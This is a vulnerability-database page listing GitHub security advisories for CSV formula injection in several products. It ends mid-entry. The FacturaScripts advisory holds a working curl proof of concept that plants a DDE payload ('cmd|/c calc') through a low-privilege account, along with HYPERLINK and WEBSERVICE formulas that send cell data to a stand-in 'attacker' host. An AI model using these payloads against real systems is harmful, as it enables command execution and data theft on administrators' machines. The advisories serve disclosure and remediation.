Vulnerability-Lookup

GHSA-2C28-WPP9-3FWQ

Vulnerability from github – Published: 2023-11-07 21:30 – Updated: 2026-04-28 15:30

Details

Improper Neutralization of Formula Elements in a CSV File vulnerability in WebToffee WordPress Comments Import & Export.This issue affects WordPress Comments Import & Export: from n/a through 2.3.1.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-45370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-07T17:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File vulnerability in WebToffee WordPress Comments Import \u0026 Export.This issue affects WordPress Comments Import \u0026 Export: from n/a through 2.3.1.",
  "id": "GHSA-2c28-wpp9-3fwq",
  "modified": "2026-04-28T15:30:35Z",
  "published": "2023-11-07T21:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45370"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/comments-import-export-woocommerce/vulnerability/wordpress-wordpress-comments-import-export-plugin-2-3-1-csv-injection?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/comments-import-export-woocommerce/wordpress-wordpress-comments-import-export-plugin-2-3-1-csv-injection?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2CPR-RR2W-79G2

Vulnerability from github – Published: 2025-09-05 15:31 – Updated: 2026-04-01 18:36

Details

Improper Neutralization of Formula Elements in a CSV File vulnerability in Denis V (Artprima) AP HoneyPot WordPress Plugin allows Reflected XSS. This issue affects AP HoneyPot WordPress Plugin: from n/a through 1.4.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-58855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-05T14:16:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Formula Elements in a CSV File vulnerability in Denis V (Artprima) AP HoneyPot WordPress Plugin allows Reflected XSS. This issue affects AP HoneyPot WordPress Plugin: from n/a through 1.4.",
  "id": "GHSA-2cpr-rr2w-79g2",
  "modified": "2026-04-01T18:36:06Z",
  "published": "2025-09-05T15:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58855"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/ap-honeypot/vulnerability/wordpress-ap-honeypot-wordpress-plugin-plugin-1-4-cross-site-request-forgery-csrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2H4W-P9FH-9RMV

Vulnerability from github – Published: 2025-03-03 18:31 – Updated: 2025-03-03 22:12

Summary

Apache Ranger Improper Neutralization of Formula Elements vulnerability

Details

Improper Neutralization of Formula Elements in Export CSV feature of Apache Ranger in Apache Ranger Version < 2.6.0. Users are recommended to upgrade to version 2.6.0, which fixes this issue.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.ranger:security-admin-web"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-03T22:12:10Z",
    "nvd_published_at": "2025-03-03T16:15:38Z",
    "severity": "LOW"
  },
  "details": "Improper Neutralization of Formula Elements in Export CSV feature of Apache Ranger in Apache Ranger Version \u003c 2.6.0.\nUsers are recommended to upgrade to version 2.6.0, which fixes this issue.",
  "id": "GHSA-2h4w-p9fh-9rmv",
  "modified": "2025-03-03T22:12:10Z",
  "published": "2025-03-03T18:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/ranger/commit/8d89fec991f05bd92e28f459bc2b3a3024aaad82"
    },
    {
      "type": "WEB",
      "url": "https://cwiki.apache.org/confluence/display/RANGER/Apache+Ranger+2.6.0+-+Release+Notes"
    },
    {
      "type": "WEB",
      "url": "https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ranger"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/RANGER-5015"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/03/03/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Apache Ranger Improper Neutralization of Formula Elements vulnerability"
}

GHSA-2P5X-4JR6-X5JG

Vulnerability from github – Published: 2026-07-14 17:18 – Updated: 2026-07-14 17:18

Summary

FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export

Details

Summary

Live PoC verified 2026-04-30 against a stock FacturaScripts master at 127.0.0.1:8081. A low-privilege user (lowpriv) created a customer with nombre = "=SUM(1+1)*cmd|/c calc!A1". An admin then exported ListCliente to CSV via ?action=export&option=CSV. The downloaded file contains the raw payload as the first cell of the nombre column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as =cmd|'/c calc'!A1 that spawn arbitrary processes on the admin workstation.

Core/Lib/Export/CSVExport.php::writeData() wraps every cell in the configured delimiter (") and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with =, +, -, @, \t, or \r as a formula. Because FacturaScripts only sanitises HTML metacharacters (< > " ') on save via Tools::noHtml() (Core/Tools.php:45), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin's spreadsheet client runs the formula in the admin's local context.

Details

the export does not neutralise leading meta-characters

Core/Lib/Export/CSVExport.php:253-267:

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this->writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            $line[] = is_string($cell) ? $this->getDelimiter() . $cell . $this->getDelimiter() : $cell;
        }

        $this->csv[] = implode($this->separator, $line);
    }
}

A string cell is rendered as "<value>". There is no str_starts_with(...) check for the formula trigger characters (= + - @ \t \r per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as "force as text". The same writer is reused for every list and document export through addListModelPage(), addModelPage(), addBusinessDocPage(), and addTablePage().

the upstream sanitiser only scrubs HTML, not formulas

Core/Tools.php:45-46:

const HTML_CHARS = ['<', '>', '"', "'"];
const HTML_REPLACEMENTS = ['&lt;', '&gt;', '&quot;', '&#39;'];

Tools::noHtml() is the canonical input filter that models call from their test() method (e.g. Cliente::test() at Core/Model/Cliente.php:319-321). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the =, +, -, @ characters reach storage verbatim and the export pipeline emits them verbatim.

the export controller hands the payload back to whoever triggers it

Core/Lib/Export/CSVExport.php:240-245:

public function show(Response &$response)
{
    $response->headers->set('Content-Type', 'text/csv; charset=utf-8');
    $response->headers->set('Content-Disposition', 'attachment; filename=' . $this->getFileName() . '.csv');
    $response->setContent($this->getDoc());
}

Content-Disposition: attachment plus an .csv extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin's machine with the admin's privileges, in a security context entirely outside the FacturaScripts blast radius.

default permission model exposes the data ingestion

A user role only needs Update/Insert access to one of the default exportable models (Cliente, Proveedor, Producto, Variante, Contacto, etc.) to plant a payload. The admin export surface is reachable on the same controllers via ?action=export&option=CSV. There is no separate confirmation step that warns the admin the export contains untrusted content.

PoC

# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.
#    (script in advisory environment, see also the prompt's helper).

# 1. Log in as the low-privilege user and obtain a CSRF token.
TOKEN=$(curl -s -c /tmp/fs-low-cookie 'http://127.0.0.1:8081/login' \
  | grep -oP 'name="multireqtoken" value="\K[^"]+' | head -1)
curl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \
  --data-urlencode "fsNick=lowpriv" \
  --data-urlencode "fsPassword=lowpriv1234" \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=login" \
  http://127.0.0.1:8081/login -o /dev/null

# 2. Get a fresh CSRF token for the EditCliente form.
TOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \
  | grep -oP 'multireqtoken" value="\K[^"]+' | head -1)

# 3. Plant a Dynamic Data Exchange payload as the customer name.
curl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \
  --data-urlencode "multireqtoken=$TOKEN" \
  --data-urlencode "action=insert" \
  --data-urlencode 'nombre==SUM(1+1)*cmd|/c calc!A1' \
  --data-urlencode "cifnif=11111111H" \
  -o /dev/null

# 4. As any admin, trigger the standard list-customers CSV export.
curl -s -b /tmp/fs-cookie2 \
  'http://127.0.0.1:8081/ListCliente?action=export&option=CSV' \
  -o /tmp/export.csv

# 5. Confirm the formula payload survives unsanitised.
grep -F '=SUM(1+1)*cmd|/c calc!A1' /tmp/export.csv
# Output (verified):
# "11111111H";"";"1";"";...;"=SUM(1+1)*cmd|/c calc!A1";"";"";"";"=SUM(1+1)*cmd|/c calc!A1";...

Opening /tmp/export.csv in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs cmd /c calc. LibreOffice Calc evaluates =SUM(1+1)*cmd|/c calc!A1 and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.

Impact

Code execution on admin workstations. The DDE/HYPERLINK payload runs in the admin's spreadsheet client outside any container, with the admin OS user's privileges. Beachhead for full host takeover.
Credential theft. Common variants (=HYPERLINK("https://attacker/?p=" & A1, "Click"), =WEBSERVICE("https://attacker/?p=" & A1)) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.
Trust laundering. Because the file came from "our own ERP" the admin has no reason to suspect the attachment, defeating the "do not run untrusted spreadsheets" hygiene that would otherwise apply.
Trivial preconditions. Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.

AV:N (the attacker only needs an authenticated browser session), AC:L (single POST), PR:L (low-privilege role), UI:R (admin must download and open the CSV, but this is the standard accounting workflow), S:U (impact contained to FacturaScripts data + admin host), C:H I:H A:H (full read/write/execute on the admin workstation once the DDE/macro fires). Score 6.3.

Recommended Fix

Neutralise formula leaders at write time inside CSVExport::writeData() so the export pipeline itself enforces the protection regardless of upstream sanitisation.

private const FORMULA_TRIGGERS = ['=', '+', '-', '@', "\t", "\r"];

public function writeData(array $data, array $fields = [])
{
    if (!empty($fields)) {
        $this->writeHeader($fields);
    }

    foreach ($data as $row) {
        $line = [];
        foreach ($row as $cell) {
            if (is_string($cell) && $cell !== '' && in_array($cell[0], self::FORMULA_TRIGGERS, true)) {
                $cell = "'" . $cell;          // force-as-text per OWASP CSV-injection prevention
            }

            $line[] = is_string($cell)
                ? $this->getDelimiter() . str_replace($this->getDelimiter(), $this->getDelimiter() . $this->getDelimiter(), $cell) . $this->getDelimiter()
                : $cell;
        }

        $this->csv[] = implode($this->separator, $line);
    }
}

Apply the same neutralisation in writeHeader(), in XLSExport::getCursorRawData() (lines 226-236 - the Tools::fixHtml helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.

A regression test should:

Insert a customer with nombre = '=SUM(1+1)'.
Render the list to CSV via CSVExport->writeData().
Assert the resulting line begins with "'=SUM(1+1)", not "=SUM(1+1)".
Assert nombre containing an embedded delimiter (a"b) is correctly doubled to "a""b".

Defence in depth: emit Content-Type: text/csv; charset=utf-8 plus a Content-Disposition filename that the operator's MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always *.csv, never *.xls or *.xlsx), and document in SECURITY.md that exports must be opened with the spreadsheet's "Import Text" / "From Text/CSV" wizard until the application is upgraded.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "facturascripts/facturascripts"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2026.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45263"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T17:18:48Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n\u003e **Live PoC verified 2026-04-30** against a stock FacturaScripts master at `127.0.0.1:8081`. A low-privilege user (`lowpriv`) created a customer with `nombre = \"=SUM(1+1)*cmd|/c calc!A1\"`. An admin then exported `ListCliente` to CSV via `?action=export\u0026option=CSV`. The downloaded file contains the raw payload as the first cell of the `nombre` column, with no leading single quote and no escape. Excel and LibreOffice will execute the formula on open, including DDE invocations such as `=cmd|\u0027/c calc\u0027!A1` that spawn arbitrary processes on the admin workstation.\n\n`Core/Lib/Export/CSVExport.php::writeData()` wraps every cell in the configured delimiter (`\"`) and concatenates without inspecting the first character of the value. Spreadsheet applications interpret a cell that starts with `=`, `+`, `-`, `@`, `\\t`, or `\\r` as a formula. Because FacturaScripts only sanitises HTML metacharacters (`\u003c \u003e \" \u0027`) on save via `Tools::noHtml()` (`Core/Tools.php:45`), the formula prefix characters survive untouched all the way to the export. The downstream consumer is the admin who triggered the export, giving the attacker a reliable handoff: low-priv user plants a payload in any text field that ships in the default list export, admin downloads the CSV (all normal billing/sales/purchasing workflow), and the admin\u0027s spreadsheet client runs the formula in the admin\u0027s local context.\n\n## Details\n\n### the export does not neutralise leading meta-characters\n\n`Core/Lib/Export/CSVExport.php:253-267`:\n\n```php\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this-\u003ewriteHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            $line[] = is_string($cell) ? $this-\u003egetDelimiter() . $cell . $this-\u003egetDelimiter() : $cell;\n        }\n\n        $this-\u003ecsv[] = implode($this-\u003eseparator, $line);\n    }\n}\n```\n\nA string cell is rendered as `\"\u003cvalue\u003e\"`. There is no `str_starts_with(...)` check for the formula trigger characters (`= + - @ \\t \\r` per OWASP CSV-injection guidance) and no leading single-quote guard that Excel and LibreOffice both treat as \"force as text\". The same writer is reused for every list and document export through `addListModelPage()`, `addModelPage()`, `addBusinessDocPage()`, and `addTablePage()`.\n\n### the upstream sanitiser only scrubs HTML, not formulas\n\n`Core/Tools.php:45-46`:\n\n```php\nconst HTML_CHARS = [\u0027\u003c\u0027, \u0027\u003e\u0027, \u0027\"\u0027, \"\u0027\"];\nconst HTML_REPLACEMENTS = [\u0027\u0026lt;\u0027, \u0027\u0026gt;\u0027, \u0027\u0026quot;\u0027, \u0027\u0026#39;\u0027];\n```\n\n`Tools::noHtml()` is the canonical input filter that models call from their `test()` method (e.g. `Cliente::test()` at `Core/Model/Cliente.php:319-321`). It strips angle brackets and quotes, none of which collide with the formula-injection alphabet. As a result, the `=`, `+`, `-`, `@` characters reach storage verbatim and the export pipeline emits them verbatim.\n\n### the export controller hands the payload back to whoever triggers it\n\n`Core/Lib/Export/CSVExport.php:240-245`:\n\n```php\npublic function show(Response \u0026$response)\n{\n    $response-\u003eheaders-\u003eset(\u0027Content-Type\u0027, \u0027text/csv; charset=utf-8\u0027);\n    $response-\u003eheaders-\u003eset(\u0027Content-Disposition\u0027, \u0027attachment; filename=\u0027 . $this-\u003egetFileName() . \u0027.csv\u0027);\n    $response-\u003esetContent($this-\u003egetDoc());\n}\n```\n\n`Content-Disposition: attachment` plus an `.csv` extension causes browsers to save the file. Double-clicking the downloaded file opens it in Excel/LibreOffice/Numbers, which honour formula execution by default. The attacker payload runs on the admin\u0027s machine with the admin\u0027s privileges, in a security context entirely outside the FacturaScripts blast radius.\n\n### default permission model exposes the data ingestion\n\nA user role only needs `Update`/`Insert` access to one of the default exportable models (`Cliente`, `Proveedor`, `Producto`, `Variante`, `Contacto`, etc.) to plant a payload. The admin export surface is reachable on the same controllers via `?action=export\u0026option=CSV`. There is no separate confirmation step that warns the admin the export contains untrusted content.\n\n## PoC\n\n```bash\n# 0. Setup: create a low-privilege user with role granting access to ListCliente/EditCliente.\n#    (script in advisory environment, see also the prompt\u0027s helper).\n\n# 1. Log in as the low-privilege user and obtain a CSRF token.\nTOKEN=$(curl -s -c /tmp/fs-low-cookie \u0027http://127.0.0.1:8081/login\u0027 \\\n  | grep -oP \u0027name=\"multireqtoken\" value=\"\\K[^\"]+\u0027 | head -1)\ncurl -s -b /tmp/fs-low-cookie -c /tmp/fs-low-cookie \\\n  --data-urlencode \"fsNick=lowpriv\" \\\n  --data-urlencode \"fsPassword=lowpriv1234\" \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=login\" \\\n  http://127.0.0.1:8081/login -o /dev/null\n\n# 2. Get a fresh CSRF token for the EditCliente form.\nTOKEN=$(curl -s -b /tmp/fs-low-cookie http://127.0.0.1:8081/EditCliente \\\n  | grep -oP \u0027multireqtoken\" value=\"\\K[^\"]+\u0027 | head -1)\n\n# 3. Plant a Dynamic Data Exchange payload as the customer name.\ncurl -s -b /tmp/fs-low-cookie -X POST http://127.0.0.1:8081/EditCliente \\\n  --data-urlencode \"multireqtoken=$TOKEN\" \\\n  --data-urlencode \"action=insert\" \\\n  --data-urlencode \u0027nombre==SUM(1+1)*cmd|/c calc!A1\u0027 \\\n  --data-urlencode \"cifnif=11111111H\" \\\n  -o /dev/null\n\n# 4. As any admin, trigger the standard list-customers CSV export.\ncurl -s -b /tmp/fs-cookie2 \\\n  \u0027http://127.0.0.1:8081/ListCliente?action=export\u0026option=CSV\u0027 \\\n  -o /tmp/export.csv\n\n# 5. Confirm the formula payload survives unsanitised.\ngrep -F \u0027=SUM(1+1)*cmd|/c calc!A1\u0027 /tmp/export.csv\n# Output (verified):\n# \"11111111H\";\"\";\"1\";\"\";...;\"=SUM(1+1)*cmd|/c calc!A1\";\"\";\"\";\"\";\"=SUM(1+1)*cmd|/c calc!A1\";...\n```\n\nOpening `/tmp/export.csv` in Microsoft Excel triggers the Dynamic Data Exchange dialog, which on a default-trusted document or after a single user click runs `cmd /c calc`. LibreOffice Calc evaluates `=SUM(1+1)*cmd|/c calc!A1` and produces the same DDE attempt. The admin sees nothing in the FacturaScripts UI to indicate that a CSV row contained a formula.\n\n## Impact\n\n* **Code execution on admin workstations.** The DDE/HYPERLINK payload runs in the admin\u0027s spreadsheet client outside any container, with the admin OS user\u0027s privileges. Beachhead for full host takeover.\n* **Credential theft.** Common variants (`=HYPERLINK(\"https://attacker/?p=\" \u0026 A1, \"Click\")`, `=WEBSERVICE(\"https://attacker/?p=\" \u0026 A1)`) exfiltrate adjacent cell values (customer names, fiscal IDs, balances) when the admin clicks the cell.\n* **Trust laundering.** Because the file came from \"our own ERP\" the admin has no reason to suspect the attachment, defeating the \"do not run untrusted spreadsheets\" hygiene that would otherwise apply.\n* **Trivial preconditions.** Any user role that can create or update a customer / supplier / product / contact (the bulk of accounting and sales staff) can stage the payload. The admin export action is unchanged from default and ships in the install.\n\n`AV:N` (the attacker only needs an authenticated browser session), `AC:L` (single POST), `PR:L` (low-privilege role), `UI:R` (admin must download and open the CSV, but this is the standard accounting workflow), `S:U` (impact contained to FacturaScripts data + admin host), `C:H I:H A:H` (full read/write/execute on the admin workstation once the DDE/macro fires). Score `6.3`.\n\n## Recommended Fix\n\nNeutralise formula leaders at write time inside `CSVExport::writeData()` so the export pipeline itself enforces the protection regardless of upstream sanitisation.\n\n```php\nprivate const FORMULA_TRIGGERS = [\u0027=\u0027, \u0027+\u0027, \u0027-\u0027, \u0027@\u0027, \"\\t\", \"\\r\"];\n\npublic function writeData(array $data, array $fields = [])\n{\n    if (!empty($fields)) {\n        $this-\u003ewriteHeader($fields);\n    }\n\n    foreach ($data as $row) {\n        $line = [];\n        foreach ($row as $cell) {\n            if (is_string($cell) \u0026\u0026 $cell !== \u0027\u0027 \u0026\u0026 in_array($cell[0], self::FORMULA_TRIGGERS, true)) {\n                $cell = \"\u0027\" . $cell;          // force-as-text per OWASP CSV-injection prevention\n            }\n\n            $line[] = is_string($cell)\n                ? $this-\u003egetDelimiter() . str_replace($this-\u003egetDelimiter(), $this-\u003egetDelimiter() . $this-\u003egetDelimiter(), $cell) . $this-\u003egetDelimiter()\n                : $cell;\n        }\n\n        $this-\u003ecsv[] = implode($this-\u003eseparator, $line);\n    }\n}\n```\n\nApply the same neutralisation in `writeHeader()`, in `XLSExport::getCursorRawData()` (lines 226-236 - the `Tools::fixHtml` helper does not address formulas), and in any other future exporter that emits spreadsheet-loadable formats.\n\nA regression test should:\n\n1. Insert a customer with `nombre = \u0027=SUM(1+1)\u0027`.\n2. Render the list to CSV via `CSVExport-\u003ewriteData()`.\n3. Assert the resulting line begins with `\"\u0027=SUM(1+1)\"`, not `\"=SUM(1+1)\"`.\n4. Assert `nombre` containing an embedded delimiter (`a\"b`) is correctly doubled to `\"a\"\"b\"`.\n\nDefence in depth: emit `Content-Type: text/csv; charset=utf-8` plus a `Content-Disposition` filename that the operator\u0027s MUA/browser cannot trivially confuse for a trusted XLSX (e.g. always `*.csv`, never `*.xls` or `*.xlsx`), and document in `SECURITY.md` that exports must be opened with the spreadsheet\u0027s \"Import Text\" / \"From Text/CSV\" wizard until the application is upgraded.",
  "id": "GHSA-2p5x-4jr6-x5jg",
  "modified": "2026-07-14T17:18:48Z",
  "published": "2026-07-14T17:18:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-2p5x-4jr6-x5jg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NeoRazorX/facturascripts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export"
}

GHSA-2QCJ-X6G8-5F33

Vulnerability from github – Published: 2022-06-14 00:00 – Updated: 2022-06-18 00:00

Details

The WP-CRM WordPress plugin through 1.2.1 does not validate and sanitise fields when exporting people to a CSV file, leading to a CSV injection vulnerability.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-1202"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-13T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WP-CRM WordPress plugin through 1.2.1 does not validate and sanitise fields when exporting people to a CSV file, leading to a CSV injection vulnerability.",
  "id": "GHSA-2qcj-x6g8-5f33",
  "modified": "2022-06-18T00:00:19Z",
  "published": "2022-06-14T00:00:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1202"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/53c8190c-baef-4807-970b-f01ab440576a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2RVJ-5MF3-JPWF

Vulnerability from github – Published: 2025-07-11 09:30 – Updated: 2025-07-11 09:30

Details

The Broken Link Notifier plugin for WordPress is vulnerable to CSV Injection in all versions up to, and including, 1.3.0 via broken links that are later exported. This makes it possible for authenticated attackers, with Contributor-level access and above, to embed untrusted input into exported CSV files, which can result in code execution when these files are downloaded and opened on a local system with a vulnerable configuration.

Severity

4.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-6838"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-11T09:15:25Z",
    "severity": "MODERATE"
  },
  "details": "The Broken Link Notifier plugin for WordPress is vulnerable to CSV Injection in all versions up to, and including, 1.3.0 via broken links that are later exported. This makes it possible for authenticated attackers, with Contributor-level access and above, to embed untrusted input into exported CSV files, which can result in code execution when these files are downloaded and opened on a local system with a vulnerable configuration.",
  "id": "GHSA-2rvj-5mf3-jpwf",
  "modified": "2025-07-11T09:30:32Z",
  "published": "2025-07-11T09:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6838"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3323864%40broken-link-notifier\u0026new=3323864%40broken-link-notifier\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cd96beee-afcb-4439-ad9b-f24e8afeac3c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2VRW-PCJQ-FV9H

Vulnerability from github – Published: 2026-02-04 09:30 – Updated: 2026-02-04 09:30

Details

If a malformed data is input to the affected product, a CSV file downloaded from the affected product may contain such malformed data. When a victim user download and open such a CSV file, the embedded code may be executed in the user's environment. Note that Movable Type 7 series and 8.4 series, which are End-of-Life (EOL), are affected by the vulnerability as well.

Severity

6.5 (Medium)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

4.8 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-24447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-04T07:16:01Z",
    "severity": "MODERATE"
  },
  "details": "If a malformed data is input to the affected product, a CSV file downloaded from the affected product may contain such malformed data. When a victim user download and open such a CSV file, the embedded code may be executed in the user\u0027s environment. Note that Movable Type 7 series and 8.4 series, which are End-of-Life (EOL), are affected by the vulnerability as well.",
  "id": "GHSA-2vrw-pcjq-fv9h",
  "modified": "2026-02-04T09:30:28Z",
  "published": "2026-02-04T09:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24447"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN45405689"
    },
    {
      "type": "WEB",
      "url": "https://movabletype.org/news/2026/02/mt-906-released.html"
    },
    {
      "type": "WEB",
      "url": "https://www.sixapart.jp/movabletype/news/2026/02/04-1100.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2WMM-F268-HRPM

Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-14 00:00

Details

The Ultimate SMS Notifications for WooCommerce plugin for WordPress is vulnerable to CSV Injection in versions up to, and including, 1.4.1 via the 'Export Utility' functionality. This makes it possible for authenticated attackers, such as a subscriber, to add untrusted input into billing information like their First Name that will embed into the exported CSV file triggered by an administrator and can result in code execution when these files are downloaded and opened on a local system with a vulnerable configuration.

Severity

8.0 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-2429"
  ],
  "database_specific": {
